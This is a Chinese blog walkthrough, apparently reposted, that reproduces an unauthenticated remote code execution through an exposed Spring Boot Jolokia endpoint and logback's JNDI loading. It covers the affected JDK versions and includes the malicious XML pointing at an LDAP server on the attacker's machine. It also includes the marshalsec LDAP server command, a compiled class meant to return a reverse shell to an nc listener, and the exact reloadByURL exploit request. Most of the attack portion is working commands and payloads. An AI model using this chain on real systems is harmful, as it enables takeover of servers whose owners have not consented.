zoukankan      html  css  js  c++  java
  • Spring未授权REC利用方式三(jolokia接口/jolokia Realm JNDI RCE)

    一、漏洞背景

      /jolokia/list接口未授权利用

    二、利用条件

      jolokia接口暴露

      spring使用了jolokia-core的依赖,并存在MBean

      JDNI注入有版本限制 JDK< 6u201/7u191/8u182/11.0.1 (LDAP)

    三、漏洞确认

      /jolokia/list 接口搜索关键字: ch.qos.logback.classic.jmx.JMXConfigurator  和  reloadByURL

      

     四、漏洞复现

      1.开一个python临时web

        python2 -m SimpleHTTPServer 80

       

      2.准备xml文件

      xml文件内容如下

    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
    </configuration>

      3.修改java文件,并以低版本编译 ,443为nc监听的端口

        javac -source 1.5 -target 1.5 JNDIObject.java

      

       4.启动恶意注入类监听1389 端口

         java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.183:80/##JNDIObject 1389

       5.POC  status200就是成功了

        /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.239!/example.xml

         

       6.判断是否成功,从web服务响应看到 靶机环境加载了example.xml 并且 恶意类执行注入也加载了class说明大概率会成功返回shell。

        (我这里是用win系统IDEA搭建的本地环境,脚本是针对linux的所以无法接收到shell。)

        

      总结:RMI注入同理,JNDI注入的两种方式都用JKD版本限制,和fastjson的反序列差不多,这个是多了一步加载xml的文件。

    参考链接:

      https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce

  • 相关阅读:
    【BZOJ3052】[wc2013]糖果公园 带修改的树上莫队
    【BZOJ4668】冷战 并查集
    HCNP学习笔记之史上最全华为路由器交换机配置命令大合集
    前端学习笔记之css清除浮动float的七种常用方法总结和兼容性处理
    前端学习笔记之CSS浮动浅析
    前端学习笔记之CSS文档流
    前端学习笔记之HTML/CSS 速写神器 Emmet
    js 基本类型与引用类型的存储
    Javascript何时执行
    Number使用笔记
  • 原文地址:https://www.cnblogs.com/hei-zi/p/14344743.html
Copyright © 2011-2022 走看看